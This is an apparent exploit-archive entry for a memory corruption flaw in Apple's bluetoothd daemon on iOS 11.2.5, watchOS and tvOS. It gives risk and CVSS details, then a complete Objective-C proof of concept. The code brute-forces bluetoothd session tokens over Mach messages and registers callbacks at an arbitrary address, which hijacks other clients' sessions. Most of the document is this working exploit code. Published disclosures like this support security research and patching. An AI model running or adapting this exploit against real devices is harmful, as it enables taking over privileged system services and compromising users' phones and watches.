Apple iOS 11.2.5 / watchOS 4.2.2 / tvOS 11.2.5 - 'bluetoothd' Memory Corruption

2018.02.28
Credit: Rani Idan
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

// // main.m // bluetoothdPoC // // Created by Rani Idan. // Copyright © 2018 zLabs. All rights reserved. // #import "AppDelegate.h" #include <mach/mach.h> extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service); /* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */ #define CALLBACK_ADDRESS 0xdeadbeef #define CALLBACK_ADDITIONAL_DATA 0x13371337 #define BLUETOOTHD_CONST 0xFA300 #define BLUETOOTHD_WRONG_TOKEN 7 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000 #define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth" #define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20 #define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20 #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28 #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40 typedef unsigned int mach_msg_return_value; mach_port_t get_service_port(char *service_name) { kern_return_t ret = KERN_SUCCESS; mach_port_t service_port = MACH_PORT_NULL; mach_port_t bs = MACH_PORT_NULL; ret = task_get_bootstrap_port(mach_task_self(), &bs); ret = bootstrap_look_up(bootstrap_port, service_name, &service_port); if (ret) { NSLog(@"Couldn't find port for %s",service_name); return MACH_PORT_NULL; } NSLog(@"Got port: %x", service_port); mach_port_deallocate(mach_task_self(), bs); return service_port; } mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data) { mach_port_t receive_port = MACH_PORT_NULL; mach_msg_header_t * message = NULL; char *data = NULL; kern_return_t ret = KERN_SUCCESS; mach_msg_return_value return_value = 0; mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID; mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE; mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE; mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS; mach_msg_size_t msg_size = MAX(recv_size, send_size); ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port); if ( ret != KERN_SUCCESS) { return_value = -3; NSLog(@"Failed to allocate port ret=%x", ret); NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); goto cleanup; } ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND); if ( ret != KERN_SUCCESS) { return_value = -3; NSLog(@"Failed to insert port right ret=%x", ret); NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); goto cleanup; } message = malloc(msg_size); data = (char *)message; memset(message, 0, msg_size); *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token; *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address; *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data; message->msgh_bits = 0x1513 ; message->msgh_remote_port = bluetoothd_port; /* Request port */ message->msgh_local_port = receive_port; /* Reply port */ message->msgh_size = send_size; /* Message size */ message->msgh_reserved = 0; message->msgh_id = BLUETOOTHD_CONST + msgh_id; ret = mach_msg(message, /* The header */ options, /* Flags */ send_size, /* Send size */ recv_size, /* Max receive Size */ receive_port, /* Receive port */ BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT, /* No timeout */ MACH_PORT_NULL); /* No notification */ if(MACH_MSG_SUCCESS == ret) { return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET); if (return_value != BLUETOOTHD_WRONG_TOKEN) { NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value); } } else if (MACH_RCV_INVALID_NAME == ret) { NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); NSLog(@"mach_error_int: ret=%x", ret); NSLog(@"mach_remote_port: %x", message->msgh_remote_port); return_value = -2; } else { NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); NSLog(@"mach_error_int: ret=%x", ret); NSLog(@"mach_remote_port: %x", message->msgh_remote_port); return_value = -1; } cleanup: if(MACH_PORT_NULL != receive_port) { mach_port_destroy(mach_task_self(), receive_port); } if (NULL != message) { free(message); } return return_value; } void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value) { int ports_found[0xffff] = {0}; int number_of_ports_found = 0; mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME); if (MACH_PORT_NULL == bluetoothd_port) { NSLog(@"Couldn't have bluetoothd port"); return; } NSLog(@"Starting to look for session tokens"); for (int i = 0; i <= 0xffff; i++) { int id = 0; id = (i << 16) + 1; int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) { NSLog(@"Found port: %x", id); ports_found[number_of_ports_found] = id; number_of_ports_found ++; } id = (i << 16) + 2; result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) { NSLog(@"Found port: %x", id); ports_found[number_of_ports_found] = id; number_of_ports_found ++; } id = (i << 16); result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) { NSLog(@"Found port: %x", id); ports_found[number_of_ports_found] = id; number_of_ports_found ++; } } for (int i = number_of_ports_found-1; i>=0; i--) { NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value); BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value); } NSLog(@"Done"); return; } void trigger() { try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA); } int main(int argc, char * argv[]) { trigger(); }


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